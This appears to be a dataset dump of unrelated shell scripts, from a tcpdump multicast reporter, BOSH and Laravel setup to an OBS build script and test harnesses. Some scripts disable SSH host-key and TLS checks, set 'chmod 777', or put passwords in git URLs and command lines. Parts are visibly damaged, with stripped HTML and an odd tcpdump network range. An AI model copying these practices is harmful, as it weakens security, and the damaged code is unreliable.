PROTOCOL_LINE=\"GLOBAL_mcast\"\n elif [[ -n \"$(echo \"$line\" | grep -Poi '\\>\\s+224\\.0\\.0\\.1\\b|\\ball\\-systems\\.mcast\\.net\\b')\" ]]; then\n PROTOCOL_LINE=\"ALLSYSTEMS_mcast\"\n elif [[ -n \"$(echo \"$line\" | grep -Poi '\\>\\s+224\\.0\\.0\\.2\\b|\\ball\\-routers\\.mcast\\.net\\b')\" ]]; then\n PROTOCOL_LINE=\"ALLROUTERS_mcast\"\n elif [[ -n \"$(echo \"$line\" | grep -Poi '\\>\\s+224\\.0\\.0\\.4\\b|\\bdvmrp\\.mcast\\.net\\b')\" ]]; then\n PROTOCOL_LINE=\"DVMRP_mcast\"\n elif [[ -n \"$(echo \"$line\" | grep -Poi '\\>\\s+224\\.0\\.0\\.22\\b|\\bigmp\\.mcast\\.net\\b')\" ]]; then\n PROTOCOL_LINE=\"IGMPv4\"\n elif [[ -n \"$(echo \"$line\" | grep -Poi '\\>\\s+224\\.0\\.1\\.1\\b|\\bntp\\.mcast\\.net\\b')\" ]]; then\n PROTOCOL_LINE=\"NTP_mcast\"\n elif [[ -n \"$(echo \"$line\" | grep -Poi '\\>\\s+224\\.0\\.1\\.75\\b|\\bsip\\.mcast\\.net\\b')\" ]]; then\n PROTOCOL_LINE=\"SIP_mcast\"\n fi\n ## No service name or port found? Just move on.\n [[ -z \"$PROTOCOL_LINE\" || \"$PROTOCOL_LINE\" == \"local\" ]] && continue\n # The default or assumed protocol is UDP.\n local PROTOCOL_LINE=\"${PROTOCOL_LINE}_$([[ -z `echo -n \"$line\" | grep -Poim1 '\\bTCP,?\\b'` ]] && echo -n \"UDP\" || echo -n \"TCP\")\"\n local PROTOCOL_LINE=\"${PROTOCOL_LINE}=$(echo -n \"$line\" | grep -Poim1 '^\\s*[0-9]+ ' | tr -d ' ')\"\n local PROTOCOL_LINE=\"$(echo \"$PROTOCOL_LINE\" | tr -d '\\n')\"\n local PROTOCOL_ID=$(echo -n \"$PROTOCOL_LINE\" | cut -d'=' -f1)\n local PROTOCOL_COUNT=$(echo -n \"$PROTOCOL_LINE\" | cut -d'=' -f2)\n local PROTOTMP=\"$(grep -Pi \"^PROTOCOUNT_${PROTOCOL_ID}\" $PCAP_DST_STATS | grep -Poim1 '[0-9]+$')\"\n # Add the protocol to the stats file if it's not found; otherwise, increment the value.\n if [[ -z \"$PROTOTMP\" ]]; then\n # Moving to a 'declare'-less use because Bash v3 doesn't support hashtables and this is bad scoping.\n echo \"PROTOCOUNT_${PROTOCOL_ID}=${PROTOCOL_COUNT}\" >>$PCAP_DST_STATS\n else\n # Same here as above: no more 'declare' usage. Instead, going to delete the old line and update it in the temp file.\n sed -i \"/PROTOCOUNT_${PROTOCOL_ID}/d\" $PCAP_DST_STATS\n echo \"PROTOCOUNT_${PROTOCOL_ID}=$(expr \"$PROTOTMP\" + \"$PROTOCOL_COUNT\")\" >>$PCAP_DST_STATS\n fi\n done\n # For each captured protocol statistic, append it to the final result table to be sent in the email summary.\n # TABLE_SPACER: Controls the amount of space between the two columns of data. This is nice for the

 HTML tag.\n    TABLE_SPACER=\"          \"\n    while read protoval; do\n        local PROTO_STATS_COUNT=$(echo \"${protoval}\" | cut -d'=' -f2)\n        local PROTO_STATS_TYPE=$(echo \"${protoval}\" | cut -d'=' -f1)\n        PROTO_STATS=$(echo -e \"${PROTO_STATS}\\r\\n  ${PROTO_STATS_COUNT}${TABLE_SPACER:0:`expr ${#TABLE_SPACER} - ${#PROTO_STATS_COUNT}`}-->  ${PROTO_STATS_TYPE}\")\n    done <<< \"$(grep -Pi '^PROTOCOUNT_' $PCAP_DST_STATS | sed 's/PROTOCOUNT_//i')\"\n    # Finally, sort all fields in numeric, descending order...\n    PROTO_STATS=$(echo \"$PROTO_STATS\" | sort -bnr)\n\n    # Build the email.\n    NOTIF_DISPATCH=$(\n        echo \"Subject: ${NOTIF_SUBJECT}\"\n        echo \"To: ${NOTIF_TO}\"\n        echo \"From: ${NOTIF_FROM}\"\n        echo \"Message-Id: \"\n        echo \"Content-Type: text/html; charset=\\\"utf-8\\\"\"\n        echo \"MIME-Version: 1.0\"\n        echo\n        echo \"${HOSTNAME} - ${MAIN_ZONE} Broadcasts and Multicasts
\"\n echo \"IPv4 Broadcast and IPv4/6 Multicast traffic statistics for: ${YESTERDAY}

\"\n echo \"Protocol Totals (Packets --> Protocol)
\"\n echo \"
${PROTO_STATS}


Capture Information
\"\n        cat $PCAP_DST_PARSE\n        echo \"
\"\n )\n echo \"${NOTIF_DISPATCH}\" >$PCAP_NOTIF\n # Send the notification.\n sendmail \"${NOTIF_TO}\" <$PCAP_NOTIF\n}\n\n# Main function. See script header for parameters.\nfunction swab_main() {\n # Ensure the following function gets run on script exit.\n trap cleanup EXIT\n # Check the given input/parameters.\n checkParams \"$@\"\n # Run the report of yesterday's activity (if it exists)\n if [ -f $PCAP_YESTERDAY ]; then\n echo \"Reading previous report, parsing results, and sending an email.\"\n parsePrev\n else\n echo -e \"No report from yesterday (${YESTERDAY}); no notification sent.\\n\"\n fi\n # Rotate all PCAP files (preserving only 1 month).\n echo -e \"====================\\nCleaning PCAP files older than 30 days.\"\n find ${PCAP_DIR} -type f -name ${PCAP_NAME_PFX}* -ctime +30 -ls -exec rm -f {} \\;\n echo \"====================\"\n # Get today's TCPDUMP info, if enabled.\n if [[ -z \"$NO_TCPDUMP\" ]]; then\n # Kick off the tcpdump job and send it to the background to run.\n ### These restrictions can be tweaked as desired.\n timeout $1 tcpdump -w $PCAP_DST -ttttxXs0 -i $MAIN_NIC not arp and not rarp and port not netbios-dgm and port not netbios-ns and \\\n \\( net 192.168.3.11/4 or dst $MAIN_ZONE_IPS.255 or dst 255.255.255.255 or ether broadcast or ether multicast or ip6 \\) &>/dev/null &\n # Sleep for 5 seconds to allow tcpdump to initialize.\n sleep 5\n # Set up a loop to watch the PID of the tcpdump (how it knows to stop watching), or to manually\n # terminate with an error when the file size of the current PCAP exceeds a certain limit.\n local DUMP_PID=0\n until [[ -z $DUMP_PID ]]; do\n DUMP_PID=$(ps aux | grep -i 'tcpdump' | grep -vi 'grep' | awk '{print $2}' | head -n 1)\n # Get the pcap's disk usage in KBs.\n local PCAP_USAGE=$(du -sk $PCAP_DST 2>/dev/null | awk '{print $1}')\n # If the PCAP is over the defined size limit in KB, then send an alert via email, terminate the PID, and exit with an error status.\n if [[ $PCAP_USAGE -gt $PCAP_LIMIT_KB ]]; then\n echo -e \"Subject: cotton-swab PROBLEM - ${MAIN_ZONE}\\r\\nTo: ${NOTIF_TO}\\r\\nFrom: ${NOTIF_FROM}\\r\\n\\r\\nDisk space used by $PCAP_DST exceeded $PCAP_LIMIT_KB KB at $PCAP_USAGE KB. Terminating the script early...\" \\\n | sendmail -t \"${NOTIF_TO}\"\n kill -9 $DUMP_PID\n exit 1\n fi\n sleep 5 #checks every 5 seconds\n done\n fi\n}\n\n\n##############################\n##############################\n##############################\n# Run the script.\nswab_main \"$@\"\nexit 0"} {"text": "#!/bin/bash\n\n# The following environment variables must be set:\n#\n# maxscale_sshkey The ssh key to the MaxScale VM\n# maxscale_access_user The username on the VM\n# maxscale_IP The IP address of the MaxScale VM\n# node_000_network IP address of the\n#\n# The Vagrant setup is located in ~/mdbci/my-test-build/. Vagrant is used\n# for SSH access to the machines.\n\n# This is the VM name where the replication-manager is installed\nmrm=galera_000\n\n# Helper functions for ssh and scp\nfunction do_ssh() {\n cd ~/mdbci/my-test-build/\n vagrant ssh $1 -c \"$2\"\n cd - > /dev/null\n}\n\n# Helper functions for ssh and scp\nfunction do_scp() {\n cd ~/mdbci/my-test-build/\n local dest=$(vagrant ssh-config $1|grep HostName|sed 's/.*HostName //')\n scp -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $2 vagrant@$dest:~\n cd - > /dev/null\n}\n\nfunction stop_node() {\n do_ssh $1 \"sudo /etc/init.d/mysql stop\"\n}\n\nfunction start_node() {\n do_ssh $1 \"sudo /etc/init.d/mysql start\"\n}\n\nfunction do_test() {\n mysql -v -u skysql -pskysql -h $maxscale_IP -P $maxscale_port <1-10\n#! /bin/bash\n\nfunction func1() {\n echo \"hello from func1()\"\n}\n\nread -p 'Enter your id : ' id\necho \"Id = $id\"\nfunc1\nreadonly id ## now we can't change the value of variable\nreadonly -f func1\n\nid=25 # this will not work & will generate a warning\nfunction func1() {\n echo \"creating new function with same name as previous name\"\n}\necho \"Id = $id\"\necho\necho \"Default readonly variables are : \"\nreadonly\n\necho\necho \"readonly function are : \"\nreadonly -f"} {"text": "#!/bin/sh\nif [ -n \"$DYNO\" ]\nthen\n ln -s /app/dayside public/dayside\nfi"} {"text": "#!/bin/bash\n\ncd ..\nmake all\n\ncd bin || exit\n\nrm test -drf\n\nmkdir -p test\ncd test || exit\n\nyes \"random text\" | head -n 1000 >test.me\n\necho \"Test UDP IPv4\"\n../netsock 127.0.0.1 55000 -u -l >./udp_out_4.tmp & #! NOT CLOSING listener\n../netsock 127.0.0.1 55000 -u <./test.me\n\nsleep 3s\n\ndiff -sq ./test.me ./udp_out_4.tmp\n\necho \"Test UDP IPv6\"\n../netsock ::1 55001 -u -l -6 >./udp_out_6.tmp & #! NOT CLOSING listener\n../netsock ::1 55001 -u -6 <./test.me\n\nsleep 3s\n\ndiff -sq ./test.me ./udp_out_6.tmp\n\necho \"Test TCP IPv4\"\n../netsock 127.0.0.1 55002 -t -l >./tcp_out_4.tmp &\n../netsock 127.0.0.1 55002 -t <./test.me\n\nsleep 3s\n\ndiff -sq ./test.me ./tcp_out_4.tmp\n\necho \"Test TCP IPv6\"\n../netsock ::1 55003 -u -l -6 >./tcp_out_6.tmp &\n../netsock ::1 55003 -u -6 <./test.me\n\nsleep 3s\n\ndiff -sq ./test.me ./tcp_out_6.tmp\n\necho \"Test Local Host && Auto IPv Selection\"\n../netsock localhost 55004 -u -l -5 >./autohost.tmp & #! NOT CLOSING listener\n../netsock ::1 55004 -u <./test.me\n\nsleep 3s\n\ndiff -sq ./test.me ./autohost.tmp\n\ncd .."} {"text": "generic/ingtcl.sh\n\n/* \n * See the file \"license.terms\" for information on usage and redistribution\n * of this file, and for a DISCLAIMER OF ALL WARRANTIES. \n * \n * Copyright (c) 2012, 2013 \n *\n */\n\n#ifndef __INGTCL_H__\n# pragma once\n\n# define __INGTCL_H__\n\n# include \n# include \n# include \n# include \n\nEXEC SQL INCLUDE SQLDA;\nEXEC SQL INCLUDE SQLCA;\n\n# define INGTCL_VERSION \"0.3\"\n\n# ifndef IISQ_BOO_TYPE\n /* For 9.3 and older */\n# define IISQ_BOO_TYPE -9998\n# endif\n\ntypedef struct cursor {\n short is_closed;\n char name[12]; /* statement name */\n IISQLDA *sqlda; /* statement descriptor */ \n IISQLDA *ph_sqlda;\n} ing_cursor_t;\n\n/*** Function prototypes ***/\n\n\n/* Tcl commands */\n\n\nstatic int DeleteCursor_Cmd(ClientData cdata, Tcl_Interp *interp, int objc, Tcl_Obj *const objv[]);\nstatic int SetAutoCommit_Cmd(ClientData cdata, Tcl_Interp *interp, int objc, Tcl_Obj *const objv[]);\nstatic int Rollback_Cmd(ClientData cdata, Tcl_Interp *interp, int objc, Tcl_Obj *const objv[]);\nstatic int Commit_Cmd(ClientData cdata, Tcl_Interp *interp, int objc, Tcl_Obj *const objv[]);\nstatic int Disconnect_Cmd(ClientData cdata, Tcl_Interp *interp, int objc, Tcl_Obj *const objv[]);\nstatic int IsCursorClosed_Cmd(ClientData cdata, Tcl_Interp *interp, int objc, Tcl_Obj *const objv[]);\nstatic int CloseCursor_Cmd(ClientData cdata, Tcl_Interp *interp, int objc, Tcl_Obj *const objv[]);\nstatic int Do_Cmd(ClientData cdata, Tcl_Interp *interp, int objc, Tcl_Obj *const objv[]);\nstatic int Execute_Cmd(ClientData cdata, Tcl_Interp *interp, int objc, Tcl_Obj *const objv[]);\nstatic int FetchColumnNames_Cmd(ClientData cdata, Tcl_Interp *interp, int objc, Tcl_Obj *const objv[]);\nstatic int FetchRow_Cmd(ClientData cdata, Tcl_Interp *interp, int objc, Tcl_Obj *const objv[]);\nstatic int Prepare_Cmd(ClientData cdata, Tcl_Interp *interp, int objc, Tcl_Obj *const objv[]);\nstatic int Connect_Cmd(ClientData cdata, Tcl_Interp *interp, int objc, Tcl_Obj *const objv[]);\n\n/* Tcl entrypoint */\nint DLLEXPORT Ingtcl_Init(Tcl_Interp *interp);\n\n/* Functions for use in C */\nstatic int close_cursor(ing_cursor_t *cursor);\nstatic int sql_check(void);\n\n#endif"} {"text": "#!/bin/bash\n\nBOSH_DEPLOYMENT_PATH=\"\" # (e.g. ~/workspace/paasta-deployment/bosh)\nCURRENT_IAAS=\"aws\"\t\t\t\t\t\t# (e.g. aws/azure/gcp/openstack/vsphere/bosh-lite)\nBOSH_IP=\"10.0.1.6\"\t\t\t\t\t\t# (e.g. 10.0.1.6)\nBOSH_CLIENT_ADMIN_ID=\"admin\"\t\t\t# (e.g. admin)\nBOSH_ENVIRONMENT=\"micro-bosh\"\t\t\t# (e.g. micro-bosh)\nBOSH_LOGIN_FILE_PATH=\"/home/ubuntu/.env\"\t\t\t# (e.g. /home/ubuntu/.env)\nBOSH_LOGIN_FILE_NAME=\"micro-bosh-login-env\"\t# (e.g. micro-bosh-login-env)\n\nmkdir -p ${BOSH_LOGIN_FILE_PATH}\necho 'export CRED_PATH='${BOSH_DEPLOYMENT_PATH}'\nexport CURRENT_IAAS='${CURRENT_IAAS}'\nexport BOSH_CA_CERT=$(bosh int $CRED_PATH/$CURRENT_IAAS/creds.yml --path /director_ssl/ca)\nexport BOSH_CLIENT='${BOSH_CLIENT_ADMIN_ID}'\nexport BOSH_CLIENT_SECRET=$(bosh int $CRED_PATH/$CURRENT_IAAS/creds.yml --path /admin_password)\nexport BOSH_ENVIRONMENT='${BOSH_ENVIRONMENT}'\n\n\nbosh alias-env $BOSH_ENVIRONMENT -e '${BOSH_IP}' --ca-cert <(bosh int $CRED_PATH/$CURRENT_IAAS/creds.yml --path /director_ssl/ca)\n\ncredhub login -s https://'${BOSH_IP}':8844 --skip-tls-validation --client-name=credhub-admin --client-secret=$(bosh int --path /credhub_admin_client_secret $CRED_PATH/$CURRENT_IAAS/creds.yml)\n\n\n' > ${BOSH_LOGIN_FILE_PATH}/${BOSH_LOGIN_FILE_NAME}"} {"text": "# INSTALL LARAVEL\ncomposer create-project laravel/laravel $FOLDER 5.5.* --prefer-dist\ncd $FOLDER\ncomposer install\nchmod -R 777 bootstrap/cache\nchmod -R 777 storage\nchmod -R 777 resources\nphp artisan key:generate\n\n# INSTALL LARAVEL HEAVEN\nwget https://github.com/jcsuzanne/starter-heaven/archive/master.zip\nunzip master.zip\ncd starter-heaven-master\nmv gulp ../\nmv gulpfile.js ../\nmv package.json ../\nmv webpack.mix.js ../\nmv deploy-preprod.sh ../\nmv manifest.json ../\nmv pwa.js ../\nrsync -av resources ../\nmv app/Http/Controllers/MotherbaseController.php ../app/Http/Controllers/\nmv app/Http/Controllers/PageController.php ../app/Http/Controllers/\nmv app/Http/Controllers/WpController.php ../app/Http/Controllers/\nmv app/Http/Controllers/HelperController.php ../app/Http/Controllers/\nmv app/Http/Controllers/SitemapController.php ../app/Http/Controllers/\nmv app/Http/Controllers/PreviewController.php ../app/Http/Controllers/\nmv app/Providers/AppServiceProvider.php ../app/Providers/\nmv config/jcs.php ../config/\ncd ../\nrm -R resources/assets\nrm resources/views/welcome.blade.php\nrm resources/views/templates/mobile.blade.php\nrm resources/views/templates/desktop.blade.php\nrm -R resources/views/vendor\nrm -R starter-heaven-master\nrm master.zip\nyarn install\nyarn"} {"text": "Sitwon/bash_patterns1-10\n#!/bin/bash\n\nparse_csv() {\n\tline=\"${1}\"\n\tlength=\"${#line}\"\n\tposition=0\n\n\tif [ $length = 0 ]; then\n\t\treturn\n\tfi\n\n\ttoken=\"\"\n\tquoted=0\n\twhile [ $position -lt $length ]; do\n\t\tcurrent=\"${line:$position:1}\"\n\t\tcase \"${current}\" in\n\t\t\t\\\")\n\t\t\t\tif [ $quoted = 0 ]; then\n\t\t\t\t\tquoted=1\n\t\t\t\telse\n\t\t\t\t\tquoted=0\n\t\t\t\tfi\n\t\t\t\tprev_pos=$(( position - 1 ))\n\t\t\t\tprev=\"${line:$prev_pos:1}\"\n\t\t\t\tif [ \"$prev\" = \\\" ]; then\n\t\t\t\t\ttoken=\"${token}${current}\"\n\t\t\t\tfi\n\t\t\t\t;;\n\t\t\t,)\n\t\t\t\tif [ $quoted = 0 ]; then\n\t\t\t\t\tbreak\n\t\t\t\telse\n\t\t\t\t\ttoken=\"${token}${current}\"\n\t\t\t\tfi\n\t\t\t\t;;\n\t\t\t*)\n\t\t\t\ttoken=\"${token}${current}\"\n\t\t\t\t;;\n\t\tesac\n\t\t(( ++position ))\n\tdone\n\t(( ++position ))\n\n\techo \"${token}\"\n\tparse_csv \"${line:$position}\"\n}\n\nif [ \"$0\" = \"$BASH_SOURCE\" ]; then\n\twhile read -r line ; do\n\t\tarray=( $(parse_csv \"${line}\") )\n\t\tdeclare -p array\n\tdone\nfi"} {"text": "#!/bin/bash\n#Shell test 命令\n#Shell中的 test 命令用于检查某个条件是否成立,它可以进行数值、字符和文件三个方面的测试。\n\n:<1-10\ngit pull https://${username}:${password}@gitlab/${username}/${project}\nnpm install\nrm -rf dist\nnpm run build\nps -ef | grep ${project} | grep -v grep | awk '{print $2}' | xargs kill -9\nnohup npm run prod \"${project}\" &"} {"text": "export DB_ADMIN_NAME=admin_db\nexport DB_ADMIN_TABLE=admin\nexport DB_ALERT_TABLE=alert\nexport DB_CADG_NAME=cadg\nexport DB_DISSEMINATOR_TABLE=disseminator\nexport DB_PASSWORD=\nexport DB_PORT=3306\nexport DB_SERVER=\"127.0.0.1\"\nexport DB_UID=root"} {"text": "SHOTbyGUN/obs-debian-easycompileobs-easycompile.sh\n#!/bin/bash\n\n# this script is based on debian installation guide from:\n# https://github.com/jp9000/obs-studio/wiki/Install-Instructions\n# use it as main guide when updating this script\n\n# CUSTOM BUILD FLAGS\n# Read more: https://wiki.gentoo.org/wiki/GCC_optimization\n#\n# modify these if you know what you are doing\n# Example flags below are for AMD FX-8350 processor\n# \"-march=bdver2 -mprefer-avx128 -mvzeroupper -O3 -pipe\"\n\n\n# march=native will optimize code for your current processor, thus will not work on any other system\n# -O3 is highest optimization level, which is good for encoding purposes\n\n# export CFLAGS=\"-march=native -O3 -pipe\"\n# export CXXFLAGS=\"${CFLAGS}\"\n#\n# export DEB_CFLAGS_PREPEND=\"-march=native -pipe\"\n# export DEB_CXXFLAGS_PREPEND=\"-march=native -pipe\"\n\n\n# Variables\nskip_init=false\ncompile_x264=true\ncompile_x265=false\nforce_ffmpeg=false\nforce_obs=false\nskip_owner=false\noverride_threads=0\nworkdir=$(pwd)\"/workdir\"\n\n# Help text\nhelp_text=\"allowed switches:\n --skip-init skip required package installation\n --force-ffmpeg removes ffmpeg directory\n --force-obs removes obs directory\n --skip-owner skips chown resetting to directory default\n --enable-x265 compile & install the experimental x265 encoder\n -t= | --threads= set number of threads used manually default = number of cores\n -o= | --out= specify output directory what script will use\"\n\n# read arguments\nfor i in $@; do\n\n case \"$i\" in\n --skip-init)\n skip_init=true;\n ;;\n \n --force-ffmpeg)\n force_ffmpeg=true;\n ;;\n\n --force-obs)\n force_obs=true;\n ;;\n\n --skip-owner)\n skip_owner=true;\n ;;\n\n --enable-x265)\n compile_x265=true;\n # assume you already compiled ffmpeg without x265, so we need to do it again\n force_ffmpeg=true;\n ;;\n\n -t=*|--threads=*)\n override_threads=\"${i#*=}\"\n ;;\n\n -o=*|--out=*)\n workdir=\"${i#*=}\"\n ;;\n \n -h|--help)\n echo \"$help_text\"\n exit 0\n ;;\n\n *)\n echo \"unknown switch: $i, $help_text\"\n exit 1\n\n esac\n\n\ndone\n\n# Require root privileges\nROOTUID=\"0\"\nif [ \"$(id -u)\" -ne \"$ROOTUID\" ] ; then\n echo \"This script must be executed with root/sudo privileges!\"\n exit 1\nfi\n\n# read number of cores\nnum_threads=$(nproc)\n\nif (($override_threads > 0)); then\n echo \"threads overridden from $num_threads to $override_threads\"\n num_threads=$override_threads\nfi\n\n\nexport CONCURRENCY_LEVEL=$num_threads\nMAKEJOBS=\"-j$num_threads\"\n\n\n# init = install required packages\n\nif ! $skip_init; then\n # install required building tools\n apt-get install build-essential pkg-config cmake git checkinstall --yes\n\n # Install required *-dev packages\n apt-get install libx11-dev libgl1-mesa-dev libpulse-dev libxcomposite-dev \\\n libxinerama-dev libv4l-dev libudev-dev libfreetype6-dev \\\n libfontconfig-dev qtbase5-dev libqt5x11extras5-dev libx264-dev \\\n libxcb-xinerama0-dev libxcb-shm0-dev libjack-jackd2-dev \\\n libcurl4-openssl-dev --yes\n\n # ffmpeg requirements:\n\n apt-get install autoconf automake libass-dev libsdl1.2-dev libtheora-dev libtool \\\n libva-dev libvdpau-dev libvorbis-dev libxcb1-dev \\\n libxcb-xfixes0-dev texi2html zlib1g-dev yasm \\\n libmp3lame-dev --yes\n\nfi\n\n\n# create directories\nmkdir -p $workdir --verbose ||\n (\n echo \"fatal: unable to create working directory: $workdir\"\n exit 1;\n )\n\n# these sections are based on ffmpeg compilation guide:\n# https://trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu\n\n\n\nif $compile_x264; then\n\n cd $workdir\n\n echo \"removing previous x264 files\"\n rm -r x264* --verbose\n\n git clone --depth 1 git://git.videolan.org/x264.git\n cd x264\n\n # apply patch if still not fixed in HEAD\n brokenHash=\"e86f3a1993234e8f26050c243aa253651200fa6b\"\n testHash=$(git rev-parse HEAD)\n\n if [ \"$brokenHash\" == \"$testHash\" ]; then\n echo \"applying patch to x264\"\n wget -O p.patch \"http://git.videolan.org/?p=x264/x264-sandbox.git;a=patch;h=235f389e1d39ac662dc40ff21196d91c61314261\"\n git am -3 p.patch\n fi\n\n\n ./configure --enable-static --enable-shared\n make $MAKEJOBS\n checkinstall -D --pkgname=x264 --fstrans=no --backup=no \\\n --pkgversion=\"$(date +%Y%m%d)-git\" --deldoc=yes --default\n\nfi\n\nffmpegEnableX265=\"\"\n\nif $compile_x265; then\n\n echo \"removing previous x265 files\"\n rm -r x265* --verbose\n\n ffmpegEnableX265=\"--enable-libx265\"\n\n apt-get install cmake mercurial\n cd $workdir\n\n hg clone http://hg.videolan.org/x265\n cd x265/build/linux\n cmake -G \"Unix Makefiles\" ../../source\n make $MAKEJOBS\n checkinstall -D --default --backup=no\n\nfi\n\n# ffmpeg ./configure could not find shared fdk-aac installation\n# so install libfaac instead\n\napt-get install libfaac-dev\n\n# run ldconfig\nldconfig\n\n\n# build ffmpeg from git\n\ncd $workdir\n\nif $force_ffmpeg; then\n rm -rf ffmpeg/\nfi\n\n# if ffmpeg directory does not exist\nif [ ! -d ffmpeg ]; then\n git clone --depth 1 git://source.ffmpeg.org/ffmpeg.git\n cd ffmpeg\n ./configure --enable-static --enable-shared --enable-nonfree --enable-gpl \\\n --enable-libx264 --enable-x11grab --enable-libfaac $ffmpegEnableX265\n make $MAKEJOBS\n checkinstall -D --pkgname=FFmpeg --fstrans=no --backup=no \\\n --pkgversion=\"$(date +%Y%m%d)-git\" --deldoc=yes --default\nfi\n\n# run ldconfig again\nldconfig\n\ncd $workdir\n\n# if --force-obs then delete obs-studio directory\nif $force_obs; then\n rm -rf obs-studio/\nfi\n\n# if obs-studio directory does not exist, clone it from github\nif [ ! -d obs-studio ]; then\n git clone https://github.com/jp9000/obs-studio.git\nfi\n\n\ncd obs-studio\n\n# delete build directory if it exists\nif [ -d build ]; then\n rm -r build/\nfi\n\n# start building obs\nmkdir build && cd build\ncmake -DUNIX_STRUCTURE=1 -DCMAKE_INSTALL_PREFIX=/usr ..\nmake $MAKEJOBS\ncheckinstall -D --pkgname=obs-studio --fstrans=no --backup=no \\\n --pkgversion=\"$(date +%Y%m%d)-git\" --deldoc=yes --default\ncd ../..\n\n\n# change file ownerships to owner of the parent directory\nif ! $skip_owner; then\n\n cd $workdir\n \n # get owner of current directory\n owner=$(stat -c \"%U %G\" .)\n owner=${owner/ /:}\n # change owner\n chown \"$owner\" -R obs-studio\n chown \"$owner\" -R ffmpeg\nfi\n\necho \"script ended\""} {"text": "release.sh\n#!/bin/bash\nset -e\n\n############# CUSTOM VARIABLES, SET THESE TO YOUR NEEDS #############\nGH_USER='belsander'\nGH_REPO='docker-travis-release'\nVERSION_FILE='VERSION'\nVERSION_CMD=\"docker run -ti intelliops/cronicle:latest \\\n /bin/bash -c '/opt/cronicle/bin/control.sh version'\"\n#####################################################################\n\n\n############## DO NOT MODIFY ANYTHING BELOW THIS LINE ##############\nREPO=\"$GH_USER/$GH_REPO.git\"\n\nsetup_git() {\n # Configure git credentials for commit messages etc\n git config --global user.email ''\n git config --global user.name ' (Travis CI)'\n}\n\nget_current_version() {\n {\n cat $VERSION_FILE 2>/dev/null\n } || {\n # No VERSION_FILE, so no versioned releases yet\n echo \"UNRELEASED\"\n }\n}\n\nget_new_version() {\n # Get version of binary to be released\n RESULT=$(eval \"$VERSION_CMD\")\n # Filter result from tabs, whitespaces and newlines\n echo \"${RESULT//[$'\\t\\r\\n ']}\"\n}\n\nset_version() {\n # Set version in VERSION_FILE, used for tracking version in GitHub\n echo \"$1\" > $VERSION_FILE\n}\n\ncommit_version() {\n # Commit new version in VERSION_FILE\n git add $VERSION_FILE >/dev/null 2>&1\n git commit --message \"Bumped version: $1 -> $2\" >/dev/null 2>&1\n}\n\ntag_version() {\n # Create tag at current commit\n TAG=\"$1\"\n git tag \"$TAG\" >/dev/null 2>&1\n echo \"$TAG\"\n}\n\npush_changes() {\n # Push local changes to GitHub (auth via ENV variable)\n git remote add auth \"https://${GH_TOKEN}@github.com/$REPO\" >/dev/null 2>&1\n git push --follow-tags --set-upstream auth HEAD:master\n # The above does not push the tag sadly, so doing it with an extra command\n git push auth \"$1\"\n}\n\n\n# MAIN\necho \"######################################################################\"\necho \"Releasing GitHub \\\"${REPO}\\\" ...\"\necho \"######################################################################\"\nsetup_git\n\nOLD_VERSION=$(get_current_version)\necho \"Latest release binary version: \\\"${OLD_VERSION}\\\"\"\nVERSION=$(get_new_version)\necho \"Current binary version: \\\"${VERSION}\\\"\"\necho \"######################################################################\"\n\nif [[ \"$OLD_VERSION\" == \"$VERSION\" ]]\nthen\n echo 'Latest release of binary is already present in last Docker image,'\\\n 'not releasing a new version'\nelse\n echo 'Newer version of binary found, releasing a new version!'\n echo \"######################################################################\"\n\n set_version \"$VERSION\"\n\n commit_version \"$OLD_VERSION\" \"$VERSION\"\n git show HEAD\n echo \"######################################################################\"\n\n TAG=$(tag_version \"$VERSION\")\n echo 'Listing all Git tags:'\n git tag -l\n echo \"######################################################################\"\n\n push_changes \"$TAG\"\n echo \"Released GitHub \\\"${REPO}\\\" with version: \\\"${VERSION}\\\"\"\nfi"} {"text": "#!/bin/bash\n\n# Set the executable path and dictionary path\nexepath=$1\nexport MXFLIB_DATA_DIR=$2\necho exepath is $exepath\necho datadir is $2\n\nfunction runtest ()\n{\n\techo Testing $1 with $2 in $3\n\n\t# Run the test as specified\n\t$3/$1 $2 > out.temp\n\n\t# Compare results and display if different\n\tdiff out.temp $1.out > $1.err\n\tif [ $? -eq 0 ]\n\tthen\n\t echo Test Passed\n\t echo \" $1 Passed\" >> dotest.txt\n\t rm -f $1.err\n\telse\n\t echo *Test FAILED*\n\t echo \" $1 *FAILED*\" >> dotest.txt\n\t cat $1.err >&2\n\tfi\n\trm -f out.temp\n}\n\n# Clear the summary\nrm -f dotest.txt\n\nfor f in *.out\ndo\n name=`basename $f`\n base=${name%%.*}\n if [ -e $base.args ]\n then\n\targs=`cat $base.args`\n\truntest $base \"$args\" $exepath\n fi\ndone\n\n# Print a summary report\nif [ -e dotest.txt ]\nthen\n echo \"\"\n echo \"Test Summary:\"\n cat dotest.txt\n echo \"\"\n rm -f dotest.txt\nfi"} {"text": "# nginx\ncd\nwget http://nginx.org/keys/nginx_signing.key\nsudo apt-key add nginx_signing.key\n\necho \"deb http://nginx.org/packages/ubuntu/ utopic nginx\" | sudo tee -a /etc/apt/sources.list.d/nginx.list\necho \"deb-src http://nginx.org/packages/ubuntu/ utopic nginx\" | sudo tee -a /etc/apt/sources.list.d/nginx.list\n\nsudo apt-get update\nsudo apt-get install -y nginx"} {"text": "#!/bin/bash\n#\n# This script is the front-end execution script for using the gem5-dev\n# docker image. To use it, you would run a command like this:\n# docker run -v $GEM5_HOST_WORKDIR:/gem5 -it gem5-dev []\n#\n# Author: \n\n#MOUNTDIR# # substituted during docker build\nmountdir=${mountdir:-'/gem5'}\nreadonly sourcedir=\"${mountdir}/source\"\nreadonly systemdir=\"${mountdir}/system\"\n\nprint_usage() {\n cat << EOF\nUsage: gem5-dev \nWhere is one of:\n help ............. prints this help message\n install-source ... installs the gem5 git source repository into ${sourcedir}\n update-source .... updates the gem5 git source repository in ${sourcedir}\n install-system ... installs the gem5 ARM system images in ${systemdir}\n build ............ builds gem5 ARM binary\n run-se ........... runs gem5 ARM in Syscall Emulation mode\n run-fs ........... runs gem5 ARM in Full System mode\n shell | bash ..... enters into an interactive shell\nEOF\n}\n\ncheck_hostdir_mounted() {\n # The docker image contains a watermark file in ${mountdir} which will\n # only be visible when no volume is mounted.\n if [[ -e \"${mountdir}/.in-docker-container\" ]]; then\n cat << EOF\nNo host volume mounted to container's ${mountdir} directory.\nRun:\n docker run -v \\$GEM5_HOST_WORKDIR:${mountdir} -it gem5-dev []\nEOF\n exit 1\n fi\n}\n\n# Clone gem5 source repository into ${sourcedir} if it isn't already there.\ninstall_source() {\n check_hostdir_mounted\n if [ ! -e \"${sourcedir}/.git\" ]; 